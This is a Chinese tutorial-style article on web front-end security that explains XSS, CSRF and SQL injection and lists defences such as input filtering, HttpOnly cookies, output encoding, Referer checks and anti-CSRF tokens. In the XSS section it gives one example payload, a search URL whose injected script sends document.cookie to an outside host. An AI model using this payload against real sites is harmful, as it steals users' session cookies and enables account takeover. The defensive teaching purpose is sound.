天天看點

web前端應該注意的安全問題1.跨站腳本攻擊(XSS攻擊)2. 跨站請求僞造(CSRF攻擊)3.SQL注入

1.跨站腳本攻擊(XSS攻擊)

    跨站攻擊,即Cross Site Script Execution(通常簡寫為XSS)是指攻擊者利用網站程式對使用者輸入過濾不足,輸入可以顯示在頁面上對其他使用者造成影響的HTML代碼,進而盜取使用者資料、利用使用者身份進行某種動作或者對通路者進行病毒侵害的一種攻擊方式

XSS(Cross Site Scripting),跨站腳本攻擊。XSS是常見的Web攻擊技術之一.所謂的跨站腳本攻擊指得是:惡意攻擊者往Web頁面裡注入惡意Script代碼,使用者浏覽這些網頁時,就會執行其中的惡意代碼,可對使用者進行盜取cookie資訊、會話劫持等各種攻擊.

解決方案:

(1)永遠不要相信使用者的輸入,對使用者輸入的資料做一定的過濾。如輸入的資料是否符合預期的格式,比如日期格式,Email格式,電話号碼格式等等。這樣可以初步對XSS漏洞進行防禦。上面的措施隻在web端做了限制,攻擊者通抓包工具如Fiddler還是可以繞過前端輸入的限制,修改請求注入攻擊腳本。

(2)HttpOnly Cookie:true。預防XSS攻擊竊取使用者cookie最有效的防禦手段。Web應用程式在設定cookie時,将其屬性設為HttpOnly(如果 Cookie 具有 HttpOnly 特性且不能通過用戶端腳本通路,則為 true;否則為 false。預設值為 false。),

就可以避免該網頁的cookie被用戶端惡意JavaScript竊取,保護使用者cookie資訊。

舉個例子:通過QQ群,或者通過群發垃圾郵件,來讓其他人點選這個位址:

book.com/search?name=<script>document.location='http://vajoy/get?cookie='+document.cookie</script>

這樣我們就可以擷取别人的cookie資訊了。

(3) 輸出編碼。伺服器端輸出到浏覽器的資料,可以使用系統的安全函數來進行編碼或轉義來防範XSS攻擊。相應的JavaScript的編碼方式可以使用JavascriptEncode。

2. 跨站請求僞造(CSRF攻擊)

CSRF(Cross-site request forgery)跨站請求僞造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。

web前端應該注意的安全問題1.跨站腳本攻擊(XSS攻擊)2. 跨站請求僞造(CSRF攻擊)3.SQL注入

CSRF攻擊攻擊原理及過程如下:

       1. 使用者C打開浏覽器,通路受信任網站A,輸入使用者名和密碼請求登入網站A;

       2.在使用者資訊通過驗證後,網站A産生Cookie資訊并傳回給浏覽器,此時使用者登入網站A成功,可以正常發送請求到網站A;

       3. 使用者未退出網站A之前,在同一浏覽器中,打開一個TAB頁通路網站B;

       4. 網站B接收到使用者請求後,傳回一些攻擊性代碼,并發出一個請求要求通路第三方站點A;

       5. 浏覽器在接收到這些攻擊性代碼後,根據網站B的請求,在使用者不知情的情況下攜帶Cookie資訊,向網站A送出請求。網站A并不知道該請求其實是由B發起的,是以會根據使用者C的Cookie資訊以C的權限處理該請求,導緻來自網站B的惡意代碼被執行。

解決方案:

(1)驗證 HTTP Referer 字段,根據 HTTP 協定,在 HTTP 頭中有一個字段叫 Referer,它記錄了該 HTTP 請求的來源位址。也就是說,伺服器會驗證用戶端的請求來源,如果本網站請求的則響應,否則不響應。

(2)驗證碼驗證,但這種方式涉及到頁面互動,在通常情況下,驗證碼能很好遏制CSRF攻擊。但是出于使用者體驗考慮,網站不能給所有的操作都加上驗證碼。是以驗證碼隻能作為一種輔助手段,不能作為主要解決方案。

3.使用 token (Anti CSRF Token)

可以了解是

防僞

  1. 使用者通路某個表單頁面。
  2. 服務端生成一個Token,放在使用者的Session中,或者浏覽器的Cookie中。
  3. 在頁面表單附帶上Token參數。
  4. 使用者送出請求後, 服務端驗證表單中的Token是否與使用者Session(或Cookies)中的Token一緻,一緻為合法請求,不是則非法請求。

詳見大牛部落格

3.SQL注入

web應用程式對使用者的輸入沒有進行合法性的判斷,前端傳入後端的參數是攻擊者可控的,并且帶入了資料庫查詢,導緻攻擊者可以構造不同的sql語句實作對資料庫的任意操作。

解決方案:

  • 限制字元串輸入的長度;
  • 給表名/字段名加字首 (避免被猜到)
  • 報錯隐藏表資訊 (避免被看到, 12306 早起就出現過的問題)
  • 對使用者輸入進行轉義
  • 過濾sql關鍵字元,驗證使用者輸入的類型 (避免 limit, order by 等注入)